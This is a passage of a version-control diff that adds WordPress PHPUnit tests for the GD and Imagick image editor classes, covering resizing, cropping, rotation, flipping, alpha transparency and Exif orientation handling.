+		// Ensure jpeg_quality filter applies if it exists before editor instantiation.
+		$this->assertEquals( 95, $editor->get_quality() );
+
+		// Get a new editor to clear jpeg_quality state
+		remove_filter( 'jpeg_quality', $func_95_percent );
+		unset( $editor );
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		// Ensure wp_editor_set_quality filter applies if it exists before editor instantiation.
+		$this->assertEquals( 100, $editor->get_quality() );
+
+		// Clean up
+		remove_filter( 'wp_editor_set_quality', $func_100_percent );
+	}
+
+	/**
+	 * Test generate_filename
+	 * @ticket 6821
+	 */
+	public function test_generate_filename() {
+
+		// Get an editor
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		$property = new ReflectionProperty( $editor, 'size' );
+		$property->setAccessible( true );
+		$property->setValue( $editor, array(
+			'height' => 50,
+			'width'  => 100
+		));
+
+		// Test with no parameters
+		$this->assertEquals( 'canola-100x50.jpg', basename( $editor->generate_filename() ) );
+
+		// Test with a suffix only
+		$this->assertEquals( 'canola-new.jpg', basename( $editor->generate_filename( 'new' ) ) );
+
+		// Test with a destination dir only
+		$this->assertEquals(trailingslashit( realpath( get_temp_dir() ) ), trailingslashit( realpath( dirname( $editor->generate_filename( null, get_temp_dir() ) ) ) ) );
+
+		// Test with a suffix only
+		$this->assertEquals( 'canola-100x50.png', basename( $editor->generate_filename( null, null, 'png' ) ) );
+
+		// Combo!
+		$this->assertEquals( trailingslashit( realpath( get_temp_dir() ) ) . 'canola-new.png', $editor->generate_filename( 'new', realpath( get_temp_dir() ), 'png' ) );
+	}
+
+	/**
+	 * Test get_size
+	 * @ticket 6821
+	 */
+	public function test_get_size() {
+
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		// Size should be false by default
+		$this->assertNull( $editor->get_size() );
+
+		// Set a size
+		$size = array(
+			'height' => 50,
+			'width'  => 100
+		);
+		$property = new ReflectionProperty( $editor, 'size' );
+		$property->setAccessible( true );
+		$property->setValue( $editor, $size );
+
+		$this->assertEquals( $size, $editor->get_size() );
+	}
+
+	/**
+	 * Test get_suffix
+	 * @ticket 6821
+	 */
+	public function test_get_suffix() {
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		// Size should be false by default
+		$this->assertFalse( $editor->get_suffix() );
+
+		// Set a size
+		$size = array(
+			'height' => 50,
+			'width'  => 100
+		);
+		$property = new ReflectionProperty( $editor, 'size' );
+		$property->setAccessible( true );
+		$property->setValue( $editor, $size );
+
+		$this->assertEquals( '100x50', $editor->get_suffix() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/editorGd.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/editorGd.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/editorGd.php	(revision 56912)
@@ -0,0 +1,556 @@
+<?php
+
+/**
+ * Test the WP_Image_Editor_GD class
+ * @group image
+ * @group media
+ * @group wp-image-editor-gd
+ */
+require_once( dirname( __FILE__ ) . '/base.php' );
+
+class Tests_Image_Editor_GD extends WP_Image_UnitTestCase {
+
+	public $editor_engine = 'WP_Image_Editor_GD';
+
+	public function setUp() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-gd.php' );
+
+		parent::setUp();
+	}
+
+	public function tearDown() {
+		$folder = DIR_TESTDATA . '/images/waffles-*.jpg';
+
+		foreach ( glob( $folder ) as $file ) {
+			unlink( $file );
+		}
+
+		$this->remove_added_uploads();
+
+		parent::tearDown();
+	}
+
+	public function test_supports_mime_type_jpeg() {
+		$gd_image_editor = new WP_Image_Editor_GD( null );
+		$expected = imagetypes() & IMG_JPG;
+		$this->assertEquals( $expected, $gd_image_editor->supports_mime_type( 'image/jpeg' ) );
+	}
+
+	public function test_supports_mime_type_png() {
+		$gd_image_editor = new WP_Image_Editor_GD( null );
+		$expected = imagetypes() & IMG_PNG;
+		$this->assertEquals( $expected, $gd_image_editor->supports_mime_type( 'image/png' ) );
+	}
+
+	public function test_supports_mime_type_gif() {
+		$gd_image_editor = new WP_Image_Editor_GD( null );
+		$expected = imagetypes() & IMG_GIF;
+		$this->assertEquals( $expected, $gd_image_editor->supports_mime_type( 'image/gif' ) );
+	}
+
+	/**
+	 * Test resizing an image, not using crop
+	 */
+	public function test_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$gd_image_editor->resize( 100, 50 );
+
+		$this->assertEquals(
+			array(
+				'width'  => 75,
+				'height' => 50,
+			),
+			$gd_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test multi_resize with single image resize and no crop
+	 */
+	public function test_single_multi_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$sizes_array =	array(
+			array(
+				'width'  => 50,
+				'height' => 50,
+			),
+		);
+
+		$resized = $gd_image_editor->multi_resize( $sizes_array );
+
+		# First, check to see if returned array is as expected
+		$expected_array = array(
+			array(
+				'file'      => 'waffles-50x33.jpg',
+				'width'     => 50,
+				'height'    => 33,
+				'mime-type' => 'image/jpeg',
+			),
+		);
+
+		$this->assertEquals( $expected_array, $resized );
+
+		// Now, verify real dimensions are as expected
+		$image_path = DIR_TESTDATA . '/images/'. $resized[0]['file'];
+		$this->assertImageDimensions(
+			$image_path,
+			$expected_array[0]['width'],
+			$expected_array[0]['height']
+		);
+	}
+
+	/**
+	 * Ensure multi_resize doesn't create an image when
+	 * both height and weight are missing, null, or 0.
+	 *
+	 * ticket 26823
+	 */
+	public function test_multi_resize_does_not_create() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$sizes_array = array(
+			array(
+				'width'  => 0,
+				'height' => 0,
+			),
+			array(
+				'width'  => 0,
+				'height' => 0,
+				'crop'   => true,
+			),
+			array(
+				'width'  => null,
+				'height' => null,
+			),
+			array(
+				'width'  => null,
+				'height' => null,
+				'crop'   => true,
+			),
+			array(
+				'width'  => '',
+				'height' => '',
+			),
+			array(
+				'width'  => '',
+				'height' => '',
+				'crop'   => true,
+			),
+			array(
+				'width'  => 0,
+			),
+			array(
+				'width'  => 0,
+				'crop'   => true,
+			),
+			array(
+				'width'  => null,
+			),
+			array(
+				'width'  => null,
+				'crop'   => true,
+			),
+			array(
+				'width'  => '',
+			),
+			array(
+				'width'  => '',
+				'crop'   => true,
+			),
+		);
+
+		$resized = $gd_image_editor->multi_resize( $sizes_array );
+
+		// If no images are generated, the returned array is empty.
+		$this->assertEmpty( $resized );
+	}
+
+	/**
+	 * Test multi_resize with multiple sizes
+	 *
+	 * ticket 26823
+	 */
+	public function test_multi_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$sizes_array = array(
+
+			/**
+			 * #0 - 10x10 resize, no cropping.
+			 * By aspect, should be 10x6 output.
+			 */
+			array(
+				'width'  => 10,
+				'height' => 10,
+				'crop'   => false,
+			),
+
+			/**
+			 * #1 - 75x50 resize, with cropping.
+			 * Output dimensions should be 75x50
+			 */
+			array(
+				'width'  => 75,
+				'height' => 50,
+				'crop'   => true,
+			),
+
+			/**
+			 * #2 - 20 pixel max height, no cropping.
+			 * By aspect, should be 30x20 output.
+			 */
+			array(
+				'width'  => 9999, # Arbitrary High Value
+				'height' => 20,
+				'crop'   => false,
+			),
+
+			/**
+			 * #3 - 45 pixel max height, with cropping.
+			 * By aspect, should be 45x400 output.
+			 */
+			array(
+				'width'  => 45,
+				'height' => 9999, # Arbitrary High Value
+				'crop'   => true,
+			),
+
+			/**
+			 * #4 - 50 pixel max width, no cropping.
+			 * By aspect, should be 50x33 output.
+			 */
+			array(
+				'width' => 50,
+			),
+
+			/**
+			 * #5 - 55 pixel max width, no cropping, null height
+			 * By aspect, should be 55x36 output.
+			 */
+			array(
+				'width'  => 55,
+				'height' => null,
+			),
+
+			/**
+			 * #6 - 55 pixel max height, no cropping, no width specified.
+			 * By aspect, should be 82x55 output.
+			 */
+			array(
+				'height' => 55,
+			),
+
+			/**
+			 * #7 - 60 pixel max height, no cropping, null width.
+			 * By aspect, should be 90x60 output.
+			 */
+			array(
+				'width'  => null,
+				'height' => 60,
+			),
+
+			/**
+			 * #8 - 70 pixel max height, no cropping, negative width.
+			 * By aspect, should be 105x70 output.
+			 */
+			array(
+				'width'  => -9999, # Arbitrary Negative Value
+				'height' => 70,
+			),
+
+			/**
+			 * #9 - 200 pixel max width, no cropping, negative height.
+			 * By aspect, should be 200x133 output.
+			 */
+			array(
+				'width'  => 200,
+				'height' => -9999, # Arbitrary Negative Value
+			),
+		);
+
+		$resized = $gd_image_editor->multi_resize( $sizes_array );
+
+		$expected_array = array(
+
+			// #0
+			array(
+				'file'      => 'waffles-10x7.jpg',
+				'width'     => 10,
+				'height'    => 7,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #1
+			array(
+				'file'      => 'waffles-75x50.jpg',
+				'width'     => 75,
+				'height'    => 50,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #2
+			array(
+				'file'      => 'waffles-30x20.jpg',
+				'width'     => 30,
+				'height'    => 20,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #3
+			array(
+				'file'      => 'waffles-45x400.jpg',
+				'width'     => 45,
+				'height'    => 400,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #4
+			array(
+				'file'      => 'waffles-50x33.jpg',
+				'width'     => 50,
+				'height'    => 33,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #5
+			array(
+				'file'      => 'waffles-55x37.jpg',
+				'width'     => 55,
+				'height'    => 37,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #6
+			array(
+				'file'      => 'waffles-83x55.jpg',
+				'width'     => 83,
+				'height'    => 55,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #7
+			array(
+				'file'      => 'waffles-90x60.jpg',
+				'width'     => 90,
+				'height'    => 60,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #8
+			array(
+				'file'      => 'waffles-105x70.jpg',
+				'width'     => 105,
+				'height'    => 70,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #9
+			array(
+				'file'      => 'waffles-200x133.jpg',
+				'width'     => 200,
+				'height'    => 133,
+				'mime-type' => 'image/jpeg',
+			),
+		);
+
+		$this->assertNotNull( $resized );
+		$this->assertEquals( $expected_array, $resized );
+
+		foreach( $resized as $key => $image_data ){
+			$image_path = DIR_TESTDATA . '/images/' . $image_data['file'];
+
+			// Now, verify real dimensions are as expected
+			$this->assertImageDimensions(
+				$image_path,
+				$expected_array[$key]['width'],
+				$expected_array[$key]['height']
+			);
+		}
+	}
+
+	/**
+	 * Test resizing an image with cropping
+	 */
+	public function test_resize_and_crop() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$gd_image_editor->resize( 100, 50, true );
+
+		$this->assertEquals(
+			array(
+				'width'  => 100,
+				'height' => 50,
+			),
+			$gd_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test cropping an image
+	 */
+	public function test_crop() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$gd_image_editor->crop( 0, 0, 50, 50 );
+
+		$this->assertEquals(
+			array(
+				'width' => 50,
+				'height' => 50,
+			),
+			$gd_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test rotating an image 180 deg
+	 */
+	public function test_rotate() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$property = new ReflectionProperty( $gd_image_editor, 'image' );
+		$property->setAccessible( true );
+
+		$color_top_left = imagecolorat( $property->getValue( $gd_image_editor ), 0, 0 );
+
+		$gd_image_editor->rotate( 180 );
+
+		$this->assertEquals( $color_top_left, imagecolorat( $property->getValue( $gd_image_editor ), 99, 99 ) );
+	}
+
+	/**
+	 * Test flipping an image
+	 */
+	public function test_flip() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$gd_image_editor = new WP_Image_Editor_GD( $file );
+		$gd_image_editor->load();
+
+		$property = new ReflectionProperty( $gd_image_editor, 'image' );
+		$property->setAccessible( true );
+
+		$color_top_left = imagecolorat( $property->getValue( $gd_image_editor ), 0, 0 );
+
+		$gd_image_editor->flip( true, false );
+
+		$this->assertEquals( $color_top_left, imagecolorat( $property->getValue( $gd_image_editor ), 0, 99 ) );
+	}
+
+	/**
+	 * Test the image created with WP_Image_Editor_GD preserves alpha when resizing
+	 *
+	 * @ticket 23039
+	 */
+	public function test_image_preserves_alpha_on_resize() {
+		if ( ! ( imagetypes() & IMG_PNG ) ) {
+			$this->fail( 'This test requires PHP to be compiled with PNG support.' );
+		}
+
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$editor = wp_get_image_editor( $file );
+
+		$this->assertNotInstanceOf( 'WP_Error', $editor );
+
+		$editor->load();
+		$editor->resize( 5, 5 );
+		$save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+		$editor->save( $save_to_file );
+
+		$this->assertImageAlphaAtPointGD( $save_to_file, array( 0,0 ), 127 );
+
+		unlink( $save_to_file );
+	}
+
+	/**
+	 * Test the image created with WP_Image_Editor_GD preserves alpha with no resizing etc
+	 *
+	 * @ticket 23039
+	 */
+	public function test_image_preserves_alpha() {
+		if ( ! ( imagetypes() & IMG_PNG ) ) {
+			$this->fail( 'This test requires PHP to be compiled with PNG support.' );
+		}
+
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$editor = wp_get_image_editor( $file );
+
+		$this->assertNotInstanceOf( 'WP_Error', $editor );
+
+		$editor->load();
+
+		$save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+		$editor->save( $save_to_file );
+
+		$this->assertImageAlphaAtPointGD( $save_to_file, array( 0,0 ), 127 );
+
+		unlink( $save_to_file );
+	}
+
+	/**
+	 *
+	 * @ticket 30596
+	 */
+	public function test_image_preserves_alpha_on_rotate() {
+		if ( ! ( imagetypes() & IMG_PNG ) ) {
+			$this->fail( 'This test requires PHP to be compiled with PNG support.' );
+		}
+
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$image = imagecreatefrompng( $file );
+		$rgb = imagecolorat( $image, 0, 0 );
+		$expected = imagecolorsforindex( $image, $rgb );
+
+		$editor = new WP_Image_Editor_GD( $file );
+                $this->assertNotInstanceOf( 'WP_Error', $editor );
+                $editor->load();
+                $editor->rotate( 180 );
+                $save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+                $editor->save( $save_to_file );
+
+                $this->assertImageAlphaAtPointGD( $save_to_file, array( 0,0 ), $expected['alpha'] );
+                unlink( $save_to_file );
+
+	}
+
+	/**
+	 * Test WP_Image_Editor_GD handles extension-less images
+	 * @ticket 39195
+	 */
+	public function test_image_non_existent_extension() {
+		$image_editor = new WP_Image_Editor_GD( DIR_TESTDATA.'/images/test-image-no-extension' );
+		$result = $image_editor->load();
+
+		$this->assertTrue( $result );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/editorImagick.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/editorImagick.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/editorImagick.php	(revision 56912)
@@ -0,0 +1,575 @@
+<?php
+
+/**
+ * Test the WP_Image_Editor_Imagick class
+ * @group image
+ * @group media
+ * @group wp-image-editor-imagick
+ */
+require_once( dirname( __FILE__ ) . '/base.php' );
+
+class Tests_Image_Editor_Imagick extends WP_Image_UnitTestCase {
+
+	public $editor_engine = 'WP_Image_Editor_Imagick';
+
+	public function setUp() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-imagick.php' );
+
+		parent::setUp();
+	}
+
+	public function tearDown() {
+		$folder = DIR_TESTDATA . '/images/waffles-*.jpg';
+
+		foreach ( glob( $folder ) as $file ) {
+			unlink( $file );
+		}
+
+		$this->remove_added_uploads();
+
+		parent::tearDown();
+	}
+
+	/**
+	 * Check support for ImageMagick compatible mime types.
+	 */
+	public function test_supports_mime_type() {
+		$imagick_image_editor = new WP_Image_Editor_Imagick( null );
+
+		$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' );
+		$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' );
+		$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' );
+	}
+
+	/**
+	 * Test resizing an image, not using crop
+	 */
+	public function test_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$imagick_image_editor->resize( 100, 50 );
+
+		$this->assertEquals(
+			array(
+				'width'  => 75,
+				'height' => 50,
+			),
+			$imagick_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test multi_resize with single image resize and no crop
+	 */
+	public function test_single_multi_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$sizes_array =	array(
+			array(
+				'width'  => 50,
+				'height' => 50,
+			),
+		);
+
+		$resized = $imagick_image_editor->multi_resize( $sizes_array );
+
+		# First, check to see if returned array is as expected
+		$expected_array = array(
+			array(
+				'file'      => 'waffles-50x33.jpg',
+				'width'     => 50,
+				'height'    => 33,
+				'mime-type' => 'image/jpeg',
+			),
+		);
+
+		$this->assertEquals( $expected_array, $resized );
+
+		// Now, verify real dimensions are as expected
+		$image_path = DIR_TESTDATA . '/images/'. $resized[0]['file'];
+		$this->assertImageDimensions(
+			$image_path,
+			$expected_array[0]['width'],
+			$expected_array[0]['height']
+		);
+	}
+
+	/**
+	 * Ensure multi_resize doesn't create an image when
+	 * both height and weight are missing, null, or 0.
+	 *
+	 * ticket 26823
+	 */
+	public function test_multi_resize_does_not_create() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$sizes_array = array(
+			array(
+				'width'  => 0,
+				'height' => 0,
+			),
+			array(
+				'width'  => 0,
+				'height' => 0,
+				'crop'   => true,
+			),
+			array(
+				'width'  => null,
+				'height' => null,
+			),
+			array(
+				'width'  => null,
+				'height' => null,
+				'crop'   => true,
+			),
+			array(
+				'width'  => '',
+				'height' => '',
+			),
+			array(
+				'width'  => '',
+				'height' => '',
+				'crop'   => true,
+			),
+			array(
+				'width'  => 0,
+			),
+			array(
+				'width'  => 0,
+				'crop'   => true,
+			),
+			array(
+				'width'  => null,
+			),
+			array(
+				'width'  => null,
+				'crop'   => true,
+			),
+			array(
+				'width'  => '',
+			),
+			array(
+				'width'  => '',
+				'crop'   => true,
+			),
+		);
+
+		$resized = $imagick_image_editor->multi_resize( $sizes_array );
+
+		// If no images are generated, the returned array is empty.
+		$this->assertEmpty( $resized );
+	}
+
+	/**
+	 * Test multi_resize with multiple sizes
+	 *
+	 * ticket 26823
+	 */
+	public function test_multi_resize() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$sizes_array = array(
+
+			/**
+			 * #0 - 10x10 resize, no cropping.
+			 * By aspect, should be 10x6 output.
+			 */
+			array(
+				'width'  => 10,
+				'height' => 10,
+				'crop'   => false,
+			),
+
+			/**
+			 * #1 - 75x50 resize, with cropping.
+			 * Output dimensions should be 75x50
+			 */
+			array(
+				'width'  => 75,
+				'height' => 50,
+				'crop'   => true,
+			),
+
+			/**
+			 * #2 - 20 pixel max height, no cropping.
+			 * By aspect, should be 30x20 output.
+			 */
+			array(
+				'width'  => 9999, # Arbitrary High Value
+				'height' => 20,
+				'crop'   => false,
+			),
+
+			/**
+			 * #3 - 45 pixel max height, with cropping.
+			 * By aspect, should be 45x400 output.
+			 */
+			array(
+				'width'  => 45,
+				'height' => 9999, # Arbitrary High Value
+				'crop'   => true,
+			),
+
+			/**
+			 * #4 - 50 pixel max width, no cropping.
+			 * By aspect, should be 50x33 output.
+			 */
+			array(
+				'width' => 50,
+			),
+
+			/**
+			 * #5 - 55 pixel max width, no cropping, null height
+			 * By aspect, should be 55x36 output.
+			 */
+			array(
+				'width'  => 55,
+				'height' => null,
+			),
+
+			/**
+			 * #6 - 55 pixel max height, no cropping, no width specified.
+			 * By aspect, should be 82x55 output.
+			 */
+			array(
+				'height' => 55,
+			),
+
+			/**
+			 * #7 - 60 pixel max height, no cropping, null width.
+			 * By aspect, should be 90x60 output.
+			 */
+			array(
+				'width'  => null,
+				'height' => 60,
+			),
+
+			/**
+			 * #8 - 70 pixel max height, no cropping, negative width.
+			 * By aspect, should be 105x70 output.
+			 */
+			array(
+				'width'  => -9999, # Arbitrary Negative Value
+				'height' => 70,
+			),
+
+			/**
+			 * #9 - 200 pixel max width, no cropping, negative height.
+			 * By aspect, should be 200x133 output.
+			 */
+			array(
+				'width'  => 200,
+				'height' => -9999, # Arbitrary Negative Value
+			),
+		);
+
+		$resized = $imagick_image_editor->multi_resize( $sizes_array );
+
+		$expected_array = array(
+
+			// #0
+			array(
+				'file'      => 'waffles-10x7.jpg',
+				'width'     => 10,
+				'height'    => 7,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #1
+			array(
+				'file'      => 'waffles-75x50.jpg',
+				'width'     => 75,
+				'height'    => 50,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #2
+			array(
+				'file'      => 'waffles-30x20.jpg',
+				'width'     => 30,
+				'height'    => 20,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #3
+			array(
+				'file'      => 'waffles-45x400.jpg',
+				'width'     => 45,
+				'height'    => 400,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #4
+			array(
+				'file'      => 'waffles-50x33.jpg',
+				'width'     => 50,
+				'height'    => 33,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #5
+			array(
+				'file'      => 'waffles-55x37.jpg',
+				'width'     => 55,
+				'height'    => 37,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #6
+			array(
+				'file'      => 'waffles-83x55.jpg',
+				'width'     => 83,
+				'height'    => 55,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #7
+			array(
+				'file'      => 'waffles-90x60.jpg',
+				'width'     => 90,
+				'height'    => 60,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #8
+			array(
+				'file'      => 'waffles-105x70.jpg',
+				'width'     => 105,
+				'height'    => 70,
+				'mime-type' => 'image/jpeg',
+			),
+
+			// #9
+			array(
+				'file'      => 'waffles-200x133.jpg',
+				'width'     => 200,
+				'height'    => 133,
+				'mime-type' => 'image/jpeg',
+			),
+		);
+
+		$this->assertNotNull( $resized );
+		$this->assertEquals( $expected_array, $resized );
+
+		foreach( $resized as $key => $image_data ){
+			$image_path = DIR_TESTDATA . '/images/' . $image_data['file'];
+
+			// Now, verify real dimensions are as expected
+			$this->assertImageDimensions(
+				$image_path,
+				$expected_array[$key]['width'],
+				$expected_array[$key]['height']
+			);
+		}
+	}
+
+	/**
+	 * Test resizing an image with cropping
+	 */
+	public function test_resize_and_crop() {
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$imagick_image_editor->resize( 100, 50, true );
+
+		$this->assertEquals(
+			array(
+				'width'  => 100,
+				'height' => 50,
+			),
+			$imagick_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test cropping an image
+	 */
+	public function test_crop() {
+		$file = DIR_TESTDATA . '/images/gradient-square.jpg';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$imagick_image_editor->crop( 0, 0, 50, 50 );
+
+		$this->assertEquals(
+			array(
+				'width' => 50,
+				'height' => 50,
+			),
+			$imagick_image_editor->get_size()
+		);
+	}
+
+	/**
+	 * Test rotating an image 180 deg
+	 */
+	public function test_rotate() {
+		$file = DIR_TESTDATA . '/images/one-blue-pixel-100x100.png';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$property = new ReflectionProperty( $imagick_image_editor, 'image' );
+		$property->setAccessible( true );
+
+		$color_top_left = $property->getValue( $imagick_image_editor )->getImagePixelColor( 0, 0 )->getColor();
+
+		$imagick_image_editor->rotate( 180 );
+
+		$this->assertEquals( $color_top_left, $property->getValue( $imagick_image_editor )->getImagePixelColor( 99, 99 )->getColor() );
+	}
+
+	/**
+	 * Test flipping an image
+	 */
+	public function test_flip() {
+		$file = DIR_TESTDATA . '/images/one-blue-pixel-100x100.png';
+
+		$imagick_image_editor = new WP_Image_Editor_Imagick( $file );
+		$imagick_image_editor->load();
+
+		$property = new ReflectionProperty( $imagick_image_editor, 'image' );
+		$property->setAccessible( true );
+
+		$color_top_left = $property->getValue( $imagick_image_editor )->getImagePixelColor( 0, 0 )->getColor();
+
+		$imagick_image_editor->flip( true, false );
+
+		$this->assertEquals( $color_top_left, $property->getValue( $imagick_image_editor )->getImagePixelColor( 0, 99 )->getColor() );
+	}
+
+	/**
+	 * Test the image created with WP_Image_Editor_Imagick preserves alpha when resizing
+	 *
+	 * @ticket 24871
+	 */
+	public function test_image_preserves_alpha_on_resize() {
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$editor = new WP_Image_Editor_Imagick( $file );
+
+		$this->assertNotInstanceOf( 'WP_Error', $editor );
+		
+		$editor->load();
+		$editor->resize( 5, 5 );
+		$save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+		$editor->save( $save_to_file );
+
+		$im = new Imagick( $save_to_file );
+		$pixel = $im->getImagePixelColor( 0, 0 );
+		$expected = $pixel->getColorValue( imagick::COLOR_ALPHA );
+
+		$this->assertImageAlphaAtPointImagick( $save_to_file, array( 0,0 ), $expected );
+
+		unlink( $save_to_file );
+	}
+
+	/**
+	 * Test the image created with WP_Image_Editor_Imagick preserves alpha with no resizing etc
+	 *
+	 * @ticket 24871
+	 */
+	public function test_image_preserves_alpha() {
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$editor = new WP_Image_Editor_Imagick( $file );
+
+		$this->assertNotInstanceOf( 'WP_Error', $editor );
+
+		$editor->load();
+
+		$save_to_file = tempnam( get_temp_dir(), '' ) . '.png';
+
+		$editor->save( $save_to_file );
+
+		$im = new Imagick( $save_to_file );
+		$pixel = $im->getImagePixelColor( 0, 0 );
+		$expected = $pixel->getColorValue( imagick::COLOR_ALPHA );
+
+		$this->assertImageAlphaAtPointImagick( $save_to_file, array( 0,0 ), $expected );
+
+		unlink( $save_to_file );
+	}
+
+	/**
+	 *
+	 * @ticket 30596
+	 */
+	public function test_image_preserves_alpha_on_rotate() {
+		$file = DIR_TESTDATA . '/images/transparent.png';
+
+		$pre_rotate_editor = new Imagick( $file );
+		$pre_rotate_pixel = $pre_rotate_editor->getImagePixelColor( 0, 0 );
+		$pre_rotate_alpha = $pre_rotate_pixel->getColorValue( imagick::COLOR_ALPHA );
+		$save_to_file = tempnam( get_temp_dir(),'' ) . '.png';
+		$pre_rotate_editor->writeImage( $save_to_file );
+		$pre_rotate_editor->destroy();
+
+		$image_editor = new WP_Image_Editor_Imagick( $save_to_file );
+		$image_editor->load();
+		$this->assertNotInstanceOf( 'WP_Error', $image_editor );
+		$image_editor->rotate( 180 );
+		$image_editor->save( $save_to_file );
+
+		$this->assertImageAlphaAtPointImagick( $save_to_file, array( 0, 0 ), $pre_rotate_alpha );
+		unlink( $save_to_file );
+	}
+
+	/**
+	 * Test WP_Image_Editor_Imagick handles extension-less images
+	 * @ticket 39195
+	 */
+	public function test_image_non_existent_extension() {
+		$image_editor = new WP_Image_Editor_Imagick( DIR_TESTDATA.'/images/test-image-no-extension' );
+		$result = $image_editor->load();
+
+		$this->assertTrue( $result );
+	}
+
+	/**
+	 * Test resetting Exif orientation data on rotate
+	 *
+	 * @ticket 37140
+	 */
+	public function test_remove_orientation_data_on_rotate() {
+		$file = DIR_TESTDATA . "/images/test-image-upside-down.jpg";
+		$data = wp_read_image_metadata( $file );
+
+		// The orientation value 3 is equivalent to rotated upside down (180 degrees).
+		$this->assertEquals( 3, intval( $data['orientation'] ), 'Orientation value read from does not match image file Exif data: ' . $file );
+
+		$temp_file = wp_tempnam( $file );
+		$image = wp_get_image_editor( $file );
+
+		// Test a value that would not lead back to 1, as WP is resetting the value to 1 manually.
+		$image->rotate( 90 );
+		$ret = $image->save( $temp_file, 'image/jpeg' );
+
+		$data = wp_read_image_metadata( $ret['path'] );
+
+		// Make sure the image is no longer in The Upside Down Exif orientation.
+		$this->assertEquals( 1, intval( $data['orientation'] ), 'Orientation Exif data was not updated after rotating image: ' . $file );
+
+		// Remove both the generated file ending in .tmp and tmp.jpg due to wp_tempnam().
+		unlink( $temp_file );
+		unlink( $ret['path'] );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/functions.php
===================================================================
